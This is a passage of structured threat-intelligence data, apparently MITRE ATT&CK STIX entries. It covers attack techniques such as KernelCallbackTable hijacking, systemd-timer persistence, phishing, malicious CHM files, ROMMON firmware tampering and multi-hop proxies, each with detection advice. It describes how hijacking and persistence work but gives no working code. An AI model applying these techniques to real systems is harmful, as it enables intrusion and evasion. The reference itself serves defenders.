"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}, {"source_name": "FinFisher exposed ", "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022."}, {"source_name": "Windows Process Injection KernelCallbackTable", "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/", "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022."}, {"source_name": "NtQueryInformationProcess", "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess", "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022."}], "modified": "2022-03-22T15:47:33.915Z", "name": "KernelCallbackTable", "description": "Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>WriteProcessMemory()</code> and <code>NtQueryInformationProcess()</code> with the parameter set to <code>ProcessBasicInformation</code> may be used for this technique.(Citation: Lazarus APT January 2022)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: OS API Execution"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4", "type": "attack-pattern", "created": "2020-10-02T17:01:42.558Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1597", "url": "https://attack.mitre.org/techniques/T1597"}, {"source_name": "D3Secutrity CTI Feeds", "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/", "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."}, {"source_name": "ZDNET Selling Data", "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/", "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:45:31.020Z", "name": "Search Closed Sources", "description": "Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"modified": "2023-09-08T11:56:26.862Z", "name": "Systemd Timers", "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["SarathKumar Rajendran, Trimble Inc"], "x_mitre_deprecated": false, "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers \u2013all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Modification", "Process: Process Creation", "Command: Command Execution", "Scheduled Job: Scheduled Job Creation"], "x_mitre_permissions_required": ["User", "root"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", "created": "2020-10-12T17:50:31.584Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/006", "external_id": "T1053.006"}, {"source_name": "Systemd Remote Control", "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.", "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/"}, {"source_name": "archlinux Systemd Timers Aug 2020", "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.", "url": "https://wiki.archlinux.org/index.php/Systemd/Timers"}, {"source_name": "gist Arch package compromise 10JUL2018", "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"}, {"source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018", "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"}, {"source_name": "acroread package compromised Arch Linux Mail 8JUL2018", "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"}, {"source_name": "Falcon Sandbox smp: 28553b3a9d", "description": "Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023.", "url": "https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300"}, {"source_name": "Linux man-pages: systemd January 2014", "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-01T16:56:32.245Z", "name": "Phishing", "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Philip Winther", "Ohad Zaidenberg, @ohad_mz", "Liora Itkin", "Liran Ravich, CardinalOps", "Scott Cook, Capital One"], "x_mitre_deprecated": false, "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "SaaS", "Office 365", "Google Workspace"], "x_mitre_version": "2.5", "x_mitre_data_sources": ["File: File Creation", "Network Traffic: Network Traffic Flow", "Application Log: Application Log Content", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "created": "2020-03-02T18:45:07.892Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1566", "external_id": "T1566"}, {"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "CISA Remote Monitoring and Management Software", "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"}, {"source_name": "cyberproof-double-bounce", "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.", "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"}, {"source_name": "Unit42 Luna Moth", "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.", "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "Microsoft OAuth Spam 2022", "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"}, {"source_name": "sygnia Luna Month", "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.", "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"}, {"source_name": "Proofpoint-spoof", "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.", "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing"}, {"source_name": "Palo Alto Unit 42 VBA Infostealer 2014", "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.", "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228", "type": "attack-pattern", "created": "2017-05-31T21:30:50.342Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1061", "url": "https://attack.mitre.org/techniques/T1061"}, {"url": "https://en.wikipedia.org/wiki/Run_command", "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.", "source_name": "Wikipedia Run Command"}], "modified": "2020-03-30T13:38:08.738Z", "name": "Graphical User Interface", "description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.", "x_mitre_deprecated": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_remote_support": true, "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc", "type": "attack-pattern", "created": "2020-10-20T00:05:48.790Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1542.004", "url": "https://attack.mitre.org/techniques/T1542/004"}, {"source_name": "Cisco Synful Knock Evolution", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}, {"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}], "modified": "2020-10-22T02:18:19.568Z", "name": "ROMMONkit", "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Firmware: Firmware Modification"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2023-10-18T16:31:56.936Z", "name": "Compiled HTML File", "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["File: File Creation", "Process: Process Creation", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Digital Certificate Validation", "Application control"], "type": "attack-pattern", "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "created": "2020-01-23T18:53:54.377Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/001", "external_id": "T1218.001"}, {"source_name": "Microsoft CVE-2017-8625 Aug 2017", "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"}, {"source_name": "Microsoft HTML Help May 2018", "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"}, {"source_name": "Microsoft HTML Help Executable Program", "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", "url": "https://msdn.microsoft.com/windows/desktop/ms524405"}, {"source_name": "Microsoft HTML Help ActiveX", "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", "url": "https://msdn.microsoft.com/windows/desktop/ms644670"}, {"source_name": "MsitPros CHM Aug 2017", "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", "url": "https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-13T17:15:56.948Z", "name": "Network Share Connection Removal", "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Command: Command Execution", "Process: Process Creation", "User Account: User Account Authentication"], "x_mitre_defense_bypassed": ["Host forensic analysis"], "x_mitre_system_requirements": ["Established network share connection to a remote system. Level of access depends on permissions of the account used."], "type": "attack-pattern", "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "created": "2020-01-31T12:39:18.816Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1070/005", "external_id": "T1070.005"}, {"source_name": "Technet Net Use", "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", "url": "https://technet.microsoft.com/bb490717.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-19T13:24:36.872Z", "name": "Multi-hop Proxy", "description": "Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks \u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing)\n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s Wide-Area Network (WAN).  Protocols such as ICMP may be used as a transport.\n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["Eduardo Chavarro Ovalle"], "x_mitre_deprecated": false, "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers.  Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization.  Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted.  Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"], "type": "attack-pattern", "id": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "created": "2020-03-14T23:23:41.770Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1090/003", "external_id": "T1090.003"}, {"source_name": "NGLite Trojan", "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.", "url": "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"}, {"source_name": "Onion Routing", "description": "Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.", "url": "https://en.wikipedia.org/wiki/Onion_routing"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": 